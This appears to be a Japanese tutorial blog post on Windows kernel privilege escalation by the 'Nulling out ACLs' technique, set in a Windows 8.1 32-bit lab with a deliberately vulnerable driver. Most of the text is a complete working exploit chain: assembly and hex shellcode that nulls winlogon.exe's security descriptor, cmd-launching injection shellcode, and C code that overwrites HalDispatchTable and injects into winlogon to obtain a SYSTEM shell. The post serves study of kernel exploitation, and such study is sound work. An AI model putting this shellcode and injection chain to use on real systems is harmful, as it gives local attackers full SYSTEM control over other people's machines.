WindowsでNulling out ACLs Shellcodeによる権限昇格をやってみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、SystemプロセスのTokenを自身のプロセスのTokenにコピーするシェルコードを使って権限昇格を行った。 この方法のほかに、System権限で動作するプロセスのACL(Access Control List)を書き換え、このプロセスにコードインジェクションを行うことで権限昇格を行う方法が知られている。 この方法はNulling out ACLsと呼ばれる。 ここでは、Nulling out ACLsを行うシェルコードを使った権限昇格をやってみる。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo
OS Name: Microsoft Windows 8.1 Enterprise Evaluation
OS Version: 6.3.9600 N/A Build 9600
OS Build Type: Multiprocessor Free
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz
>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0
>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)
#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;
struct ioctl_aaw_arg {
DWORD *addr;
DWORD value;
};
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNICODE_STRING DeviceName, DosDeviceName;
PDEVICE_OBJECT DeviceObject;
RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
DriverObject->MajorFunction[i] = handleUnsupported;
}
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING DosDeviceName;
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
IoDeleteSymbolicLink(&DosDeviceName);
IoDeleteDevice(DriverObject->DeviceObject);
}
NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
return STATUS_NOT_SUPPORTED;
}
NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
struct ioctl_aaw_arg *arg;
switch (ioControlCode) {
case IOCTL_AAW:
arg = (struct ioctl_aaw_arg *)inputBuffer;
*(arg->addr) = arg->value;
break;
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成し、あらかじめscコマンドを使ってこれをロードしておく。
Nulling out ACLs Shellcode
EPROCESS構造体を含む多くの構造体には、OBJECT_HEADERと呼ばれるヘッダ情報がある。 カーネルデバッグを行い、これについて調べてみると次のようになる。
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
(snip)
PROCESS 8ce85700 SessionId: 1 Cid: 01b8 Peb: 7fccf000 ParentCid: 018c
DirBase: 72799040 ObjectTable: 8e7f6ec0 HandleCount: <Data Not Accessible>
Image: winlogon.exe
(snip)
kd> dt _OBJECT_HEADER 8ce85700-18
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n433
+0x004 HandleCount : 0n12
+0x004 NextToFree : 0x0000000c Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x7 ''
+0x00d TraceFlags : 0 ''
+0x00d DbgRefTrace : 0y0
+0x00d DbgTracePermanent : 0y0
+0x00e InfoMask : 0x48 'H'
+0x00f Flags : 0 ''
+0x00f NewObject : 0y0
+0x00f KernelObject : 0y0
+0x00f KernelOnlyAccess : 0y0
+0x00f ExclusiveObject : 0y0
+0x00f PermanentObject : 0y0
+0x00f DefaultSecurityQuota : 0y0
+0x00f SingleHandleEntry : 0y0
+0x00f DeletedInline : 0y0
+0x010 ObjectCreateInfo : 0x8124b700 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x8124b700 Void
+0x014 SecurityDescriptor : 0x85a07e1b Void
+0x018 Body : _QUAD
上において、SecurityDescriptorはこのプロセスへのアクセス制限に関する情報(ACL)を表している。 通常、System権限で動作しているプロセスはOpenProcess関数で開くことができないが、SecurityDescriptorをNULLに書き換えることでプロセスを開きメモリを読み書きすることが可能になる。 つまり、コードインジェクションにより任意のコードをSystem権限で実行できるようになる。
そこで、System権限で動作しているwinlogon.exeのSecurityDescriptorをNULLに書き換えるシェルコードを書いてみると次のようになる。
; nullacls.asm
.386
.model flat, stdcall
.code
start:
pushad
assume fs:nothing
mov eax, fs:[124h] ; _KTHREAD
mov eax, [eax+80h] ; _EPROCESS
add eax, 0b8h ; _EPROCESS.ActiveProcessLinks
search_process:
mov eax, [eax] ; Flink
cmp dword ptr [eax+0b8h], 6c6e6977h ; ImageFileName, "winl" for winlogon.exe
jne search_process
mov dword ptr [eax-0bch], 0 ; SecurityDescriptor
popad
ret
end start
上のコードでは、EPROCESS構造体のImageFileNameが「winl」で始まっているものをwinlogon.exeとみなし、SecurityDescriptorをNULLに書き換える。 また、このコードが関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml nullacls.asm /link /subsystem:console
>dumpbin /rawdata nullacls.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file nullacls.exe
File Type: EXECUTABLE IMAGE
RAW DATA #1
00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00 `d¡$..........¸.
00401010: 00 00 8B 00 81 B8 B8 00 00 00 77 69 6E 6C 75 F2 .....¸¸...winluò
00401020: C7 80 44 FF FF FF 00 00 00 00 61 C3 Ç.Dÿÿÿ....aÃ
Summary
1000 .text
>dumpbin /rawdata nullacls.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3
コードインジェクションで実行させるシェルコードを書いてみる
次に、コードインジェクションで実行させるシェルコードを用意する。 「Windowsで電卓を起動するシェルコードを書いてみる」を参考に、コマンドプロンプトを起動するシェルコードを書くと次のようになる。
; injectcode.asm
.386
.model flat, stdcall
.code
start:
cld
jmp main
api_call:
assume fs:nothing
pushad
xor eax, eax
mov eax, fs:[eax+30h] ; PEB
mov eax, [eax+0ch] ; Ldr
mov esi, [eax+14h] ; InMemoryOrderModuleList
next_mod:
lodsd ; next _LDR_DATA_TABLE_ENTRY
mov [esp+1ch], eax ; store eax
mov ebp, [eax+10h] ; DllBase
mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew
mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY
add edx, ebp
mov ecx, [edx+18h] ; NumberOfNames
mov ebx, [edx+20h] ; AddressOfNames
add ebx, ebp
next_name: ; while (--NumberOfNames)
jecxz name_not_found
dec ecx
mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames]
add esi, ebp
xor edi, edi ; hash = 0
xor eax, eax
compute_hash_loop: ; while ((c = *(ptr++)) != 0)
lodsb
test al, al
jz compare_hash
ror edi, 0dh ; hash += ror(c, 0x0d)
add edi, eax
jmp compute_hash_loop
compare_hash:
cmp edi, [esp+24h] ; compare with api hash
jnz next_name
mov ebx, [edx+24h] ; AddressOfNameOrdinals
add ebx, ebp
mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x]
mov ebx, [edx+1ch] ; AddressOfFunctions
add ebx, ebp
mov eax, [ebx+ecx*4] ; AddressOfFunctions[y]
add eax, ebp
mov [esp+1ch], eax ; store eax
popad
pop ecx ; remove api hash from the stack
pop edx
push ecx
jmp eax ; jump to api function
name_not_found:
mov esi, [esp+1ch] ; update eax
jmp next_mod
main:
pushad
mov ebp, esp
push 00646d63h ; "cmd"
mov eax, esp
push 1
push eax
push 0e8afe98h ; WinExec
call api_call
mov esp, ebp
popad
ret
end start
上のコードはCreateRemoteThread関数により関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml injectcode.asm /link /subsystem:console
>dumpbin /rawdata injectcode.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file injectcode.exe
File Type: EXECUTABLE IMAGE
RAW DATA #1
00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p.
00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x.
00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4..
00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë
00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K
00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY
00401060: 5A 51 FF E0 8B 74 24 1C EB A6 60 8B EC 68 63 6D ZQÿà.t$.ë¦`.ìhcm
00401070: 64 00 8B C4 6A 01 50 68 98 FE 8A 0E E8 82 FF FF d..Äj.Ph.þ..è.ÿÿ
00401080: FF 8B E5 61 C3 ÿ.åaÃ
Summary
1000 .text
>dumpbin /rawdata injectcode.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3
エクスプロイトコードを書いてみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様にHalDispatchTableの書き換えを行い、Nulling out ACLs Shellcodeの実行とコードインジェクションを行うエクスプロイトコードを書くと次のようになる。
/* exploit.c */
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef enum {
SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
typedef struct {
PVOID Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct {
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
struct ioctl_aaw_arg {
DWORD *addr;
DWORD value;
};
DWORD findPid(char *name)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(hProcessSnap, &pe32);
do {
if (_stricmp(pe32.szExeFile, name) == 0) {
return pe32.th32ProcessID;
}
} while (Process32Next(hProcessSnap, &pe32));
return -1;
}
int main()
{
PSYSTEM_MODULE_INFORMATION moduleInfo;
ULONG len;
DWORD BytesReturned;
ULONG dummy;
HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);
PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;
HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);
char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3";
LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(rwxMemory, shellcode, sizeof(shellcode));
struct ioctl_aaw_arg arg;
arg.addr = (CHAR *)HalDispatchTable + 4;
arg.value = (DWORD)rwxMemory;
HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
NtQueryIntervalProfile(2, &dummy);
PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
arg.value = (DWORD)KeGetCurrentThread;
DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
CloseHandle(hDevice);
char injectcode[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, findPid("winlogon.exe"));
rwxMemory = VirtualAllocEx(hProcess, NULL, sizeof(injectcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, rwxMemory, (void *)injectcode, sizeof(injectcode), NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rwxMemory, NULL, 0, NULL);
CloseHandle(hProcess);
return 0;
}
findPid関数はCreateToolhelp32Snapshot関数を使い、引数に与えた実行ファイル名を持つプロセスのPIDを返す関数である。 コードインジェクションを行うには、VirtualAllocEx関数、WriteProcessMemory関数で対象となるプロセスに実行可能メモリを確保しコードを書き込んだ後、CreateRemoteThread関数をこのアドレスを指定して呼び出せばよい。
エクスプロイトコードをコンパイルし実行すると、コマンドプロンプトが起動し次のスクリーンショットのようになる。

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Easy local Windows Kernel exploitation (Black Hat USA 2012)
- Taking a Snapshot and Viewing Processes (Windows)
- Exploit Monday: Undocumented NtQuerySystemInformation Structures (Updated for Windows 8)
- MWR Labs Pwn2Own 2013 Write-up - Kernel Exploit - mwrlabs
- hacking-team-windows-kernel-lpe/PIC.c at 608a83e8005808fa5b04408a978b0b7361d67417 · vlad902/hacking-team-windows-kernel-lpe